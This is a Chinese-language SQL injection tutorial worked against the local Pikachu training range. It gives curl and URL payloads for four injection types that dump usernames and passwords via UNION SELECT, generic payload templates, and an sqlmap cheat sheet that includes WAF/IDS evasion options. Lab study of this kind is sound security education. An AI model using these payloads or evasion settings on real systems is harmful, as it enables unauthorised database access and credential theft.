SQL注入实战指南:4种基础注入类型深度对比与Pikachu靶场演练

SQL注入实战指南:4种基础注入类型深度对比与Pikachu靶场演练

SQL注入 · 4种基础注入类型对比笔记

本文基于 Pikachu 靶场,详细对比了数字型、字符型、搜索型和 XX型四种基础 SQL 注入类型的原理、Payload 构造、实战步骤与踩坑记录,并提供了通用 Payload 模板和 SQLMap 自动化速查,适合 Web 安全初学者快速上手。> 实战环境:Pikachu 靶场(本地http://localhost/pikachu/

数据库:MariaDB 11.8.6


一、总体流程(通用步骤)

确认注入点 → 判断注入类型 → 猜字段数 → 找回显位 → 查数据库名 → 查表名 → 查列名 → 查数据
步骤目的常用方法
1. 确认注入证明用户输入被拼接到SQL中单引号'/ 逻辑真AND 1=1/ 逻辑假AND 1=2
2. 猜字段数UNION SELECT要求前后字段数相同ORDER BY n逐个测试
3. 找回显位确定哪个位置能显示自定义数据UNION SELECT 1,2,3
4. 查数据库名获取当前数据库名称database()
5. 查表名获取数据库中的所有表information_schema.tables
6. 查列名获取目标表的所有列information_schema.columns
7. 查数据获取用户名和密码SELECT username,password FROM users

二、4种注入类型对比

2.1 数字型注入(POST)

项目说明
入口http://localhost/pikachu/vul/sqli/sqli_id.php
请求方式POST(参数在请求体中)
后端SQLSELECT * FROM users WHERE id = 1;
参数特征纯数字,无引号包裹
字段数2
确认注入
确认注入
# 正常请求,验证基础功能curl-s-XPOST"http://.../sqli_id.php"-d"id=1&submit=查询"# 添加单引号,触发SQL语法错误以确认注入点curl-s-XPOST"http://.../sqli_id.php"-d"id=1'&submit=查询"# 逻辑真测试,页面应正常显示数据curl-s-XPOST"http://.../sqli_id.php"-d"id=1 and 1=1&submit=查询"# 逻辑假测试,页面应无数据返回curl-s-XPOST"http://.../sqli_id.php"-d"id=1 and 1=2&submit=查询"```#### 猜字段数```bash# 测试字段数是否为1curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 1&submit=查询"# 正常# 测试字段数是否为2curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 2&submit=查询"# 正常# 测试字段数是否为3,报错则确认字段数为2curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 3&submit=查询"# 报错 → 字段数=2
找回显位 + 查数据
# 确定回显位置(第1、2位)curl-s-XPOST"http://.../sqli_id.php"-d"id=-1 UNION SELECT 1,2&submit=查询"# 获取当前数据库名(显示在回显位)curl-s-XPOST"http://.../sqli_id.php"-d"id=-1 UNION SELECT database(),2&submit=查询"# 查询所有表名(MariaDB 11.x可能限制information_schema手动查询)curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()&submit=查询"# 查询users表的列名curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'&submit=查询"# 直接获取users表的所有用户名和密码curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(username),group_concat(password) FROM users&submit=查询"```#### 踩坑记录- **MariaDB11.x 限制**:`information_schema`手动查询无返回,需用 SQLMap 自动化工具 - **SQLMap 解决方案**:```bash sqlmap-u"http://.../sqli_id.php"--data="id=1&submit=查询"-Dpikachu-Tusers--dump--batch

2.2 字符型注入(GET)

项目说明
入口http://localhost/pikachu/vul/sqli/sqli_str.php
请求方式GET(参数在URL中)
后端SQLSELECT * FROM users WHERE name = 'kobe';
参数特征被单引号' '包裹
字段数2
核心区别:需要闭合引号 + 注释
操作Payload拼接后的SQL
确认注入kobe'WHERE name = 'kobe''→ 报错
恢复正常kobe'--+WHERE name = 'kobe'--+'→ 注释掉后面的引号
逻辑真kobe' AND 1=1--+WHERE name = 'kobe' AND 1=1--+'
逻辑假kobe' AND 1=2--+WHERE name = 'kobe' AND 1=2--+'
完整URL示例
# 确认注入:添加单引号触发SQL错误http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'&submit=查询 # 闭合引号并注释:恢复正常查询 http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'--+&submit=查询# 猜字段数:测试ORDER BY 2http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe' ORDER BY 2--+&submit=查询 # 正常 # 猜字段数:测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'ORDER BY3--+&submit=查询# 报错# 找回显位:使用UNION SELECT确定显示位置http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe' UNION SELECT 1,2--+&submit=查询 # 查数据库名:获取当前数据库名称 http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe'UNION SELECT database(),2--+&submit=查询# 查表名:获取数据库中的所有表http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe' \ UNION SELECT group_concat(table_name),2 \ FROM information_schema.tables \ WHERE table_schema=database()--+&submit=查询 # 查数据(一步到位):直接获取用户名和密码 http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe'\UNION SELECT group_concat(username),group_concat(password)\FROM users--+&submit=查询
踩坑记录
  • 必须加&submit=查询:后端 PHP 检查$_GET['submit']是否存在
  • -kobe让原查询为空:确保 UNION 结果不被原数据干扰

2.3 搜索型注入

项目说明
入口http://localhost/pikachu/vul/sqli/sqli_search.php
请求方式GET
后端SQLSELECT * FROM users WHERE name LIKE '%kobe%';
参数特征%和单引号'% %'包裹(LIKE模糊查询)
字段数3
submit值搜索(不是查询
核心区别:需要闭合'%
操作Payload拼接后的SQL
确认注入kobe%'WHERE name LIKE '%kobe%''→ 报错
恢复正常kobe%'--+WHERE name LIKE '%kobe%'--+'→ 注释掉后面的%'
UNION查询%' UNION SELECT 1,2,3--+WHERE name LIKE '%%' UNION SELECT 1,2,3--+%'
完整URL示例
# 确认注入:闭合'%并注释http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'--+&submit=搜索 # 猜字段数:测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'ORDER BY3--+&submit=搜索# 正常# 猜字段数:测试ORDER BY 4http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%' ORDER BY 4--+&submit=搜索 # 报错 → 字段数=3 # 找回显位(3个回显位) http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'UNION SELECT1,2,3--+&submit=搜索# 查数据库名http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%' UNION SELECT database(),2,3--+&submit=搜索 # 查数据(一步到位) http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'\UNION SELECT group_concat(username),group_concat(password),3\FROM users--+&submit=搜索
踩坑记录
  • submit 值是搜索,不是查询
  • 字段数是 3,不是 2
  • 回显位:username(第1位)、uid(第2位)、email(第3位)

2.4 XX型注入

项目说明
入口http://localhost/pikachu/vul/sqli/sqli_x.php
请求方式GET
后端SQLSELECT * FROM users WHERE name = ('kobe');
参数特征被单引号+括号('')包裹
字段数2
核心区别:需要闭合('
操作Payload拼接后的SQL
确认注入kobe')WHERE name = ('kobe')'→ 报错
恢复正常kobe')--+WHERE name = ('kobe')--+'→ 注释掉后面的')
UNION查询kobe') UNION SELECT 1,2--+WHERE name = ('kobe') UNION SELECT 1,2--')
完整URL示例
# 确认注入http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')--+&submit=查询 # 猜字段数 http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')ORDER BY2--+&submit=查询# 正常http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe') ORDER BY 3--+&submit=查询 # 报错 → 字段数=2 # 查数据(一步到位) http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')UNION SELECT group_concat(username),group_concat(password)FROM users--+&submit=查询

三、4种类型核心对比表

对比项数字型字符型搜索型XX型
请求方式POSTGETGETGET
后端SQLWHERE id = 1WHERE name = 'kobe'WHERE name LIKE '%kobe%'WHERE name = ('kobe')
闭合方式无需闭合'闭合引号%'闭合%')闭合('
注释符不需要--+--+--+
字段数2232
submit值查询查询搜索查询
Payload前缀id=-1name=-kobe'name=kobe%'name=kobe')
information_schema受限(MariaDB 11.x)正常正常正常

四、通用Payload模板

4.1 确认注入

' -- 触发报错 '--+ -- 闭合+注释,恢复正常' AND 1=1--+ -- 逻辑真 'AND1=2--+ -- 逻辑假

4.2 猜字段数

' ORDER BY 1--+ -- 正常则继续 'ORDERBY2--+ -- 正常则继续'ORDERBY3--+ -- 报错则字段数=2

4.3 找回显位

-1' UNION SELECT 1,2--+ -- 2个字段 -1'UNIONSELECT1,2,3--+ -- 3个字段

4.4 查数据库名

-1'UNIONSELECTdatabase(),2--+

4.5 查表名

-1'UNIONSELECTgroup_concat(table_name),2FROMinformation_schema.tablesWHEREtable_schema=database()--+

4.6 查列名

-1' UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'--+

4.7 查数据(一步到位)

-1'UNIONSELECTgroup_concat(username),group_concat(password)FROMusers--+

五、踩坑记录汇总

#踩坑点解决方案
1MariaDB 11.xinformation_schema手动查询无返回使用 SQLMap 自动化工具
2忘记加&submit=查询确认表单按钮的值,必须带上
3搜索型submit值是搜索不是查询查看页面按钮文字
4字符型用a测试 ORDER BY,但a不在数据库中用确定存在的用户名(如kobe
5--+注释不生效尝试#(URL编码%23)或--(注意空格)
6UNION 结果和原查询混在一起-1或不存在的数据让原查询为空
7group_concat结果太长被截断LIMIT n,1分段查询

六、SQLMap 自动化速查

安装

sudoaptinstallsqlmap-y

基础命令

# 检测注入点sqlmap-u"http://.../sqli_str.php?name=kobe"--batch# 获取数据库名sqlmap-u"http://.../sqli_str.php?name=kobe"--dbs--batch# 获取表名sqlmap-u"http://.../sqli_str.php?name=kobe"-Dpikachu--tables--batch# 获取列名sqlmap-u"http://.../sqli_str.php?name=kobe"-Dpikachu-Tusers--columns--batch# 获取数据sqlmap-u"http://.../sqli_str.php?name=kobe"-Dpikachu-Tusers--dump--batch

POST 型注入

sqlmap-u"http://.../sqli_id.php"--data="id=1&submit=查询"--batch

绕过 WAF/IDS

当目标网站部署了 Web 应用防火墙(WAF)或入侵检测系统(IDS)时,SQLMap 的默认请求可能被拦截。以下是一些常用绕过参数:

1.--tamper:使用脚本绕过过滤

说明:通过内置或自定义的 tamper 脚本对 Payload 进行编码、混淆,绕过常见过滤规则。
使用场景:目标对单引号、空格、UNION 等关键词进行了过滤或替换。
示例命令

# 使用多个 tamper 脚本组合绕过sqlmap-u"http://.../sqli_str.php?name=kobe"--tamper=space2comment,charencode--batch# 常用 tamper 脚本:# - space2comment:将空格替换为 /**/# - charencode:对 Payload 进行 URL 编码# - between:用 BETWEEN 替换大于号# - randomcase:随机大小写
2.--random-agent:随机 User-Agent

说明:每次请求使用随机的 User-Agent 头,避免被基于固定 UA 的规则拦截。
使用场景:WAF/IDS 通过识别 sqlmap 默认 UA 进行拦截。
示例命令

sqlmap-u"http://.../sqli_str.php?name=kobe"--random-agent--batch
3.--delay--time-sec:控制请求频率

说明

  • --delay:设置每个 HTTP 请求之间的延迟(秒),避免触发频率限制。
  • --time-sec:设置 DBMS 响应的延迟时间(秒),用于时间盲注。
    使用场景:目标有请求频率限制或需要时间盲注绕过。
    示例命令
# 设置 2 秒延迟,避免触发 WAF 频率限制sqlmap-u"http://.../sqli_str.php?name=kobe"--delay=2--batch# 时间盲注,设置响应延迟判断为 5 秒sqlmap-u"http://.../sqli_str.php?name=kobe"--time-sec=5--batch
4.--level--risk:调整检测强度

说明

  • --level:检测等级(1-5),等级越高测试的 Payload 和参数越多。
  • --risk:风险等级(1-3),等级越高使用越危险的测试语句。
    使用场景:默认检测不到注入点时,提高检测强度;或需要测试危险语句时提高风险等级。
    示例命令
# 提高检测等级和风险等级sqlmap-u"http://.../sqli_str.php?name=kobe"--level=3--risk=2--batch# 针对 Cookie 注入点,需要 level>=2 才会检测sqlmap-u"http://.../sqli_str.php"--cookie="id=1"--level=2--batch
组合使用示例
# 综合使用多个绕过参数sqlmap-u"http://.../sqli_str.php?name=kobe"\--tamper=space2comment,charencode\--random-agent\--delay=1\--level=3\--risk=2\--batch

实战环境:Kali Linux 2026.2 + Pikachu 靶场 + MariaDB 11.8.6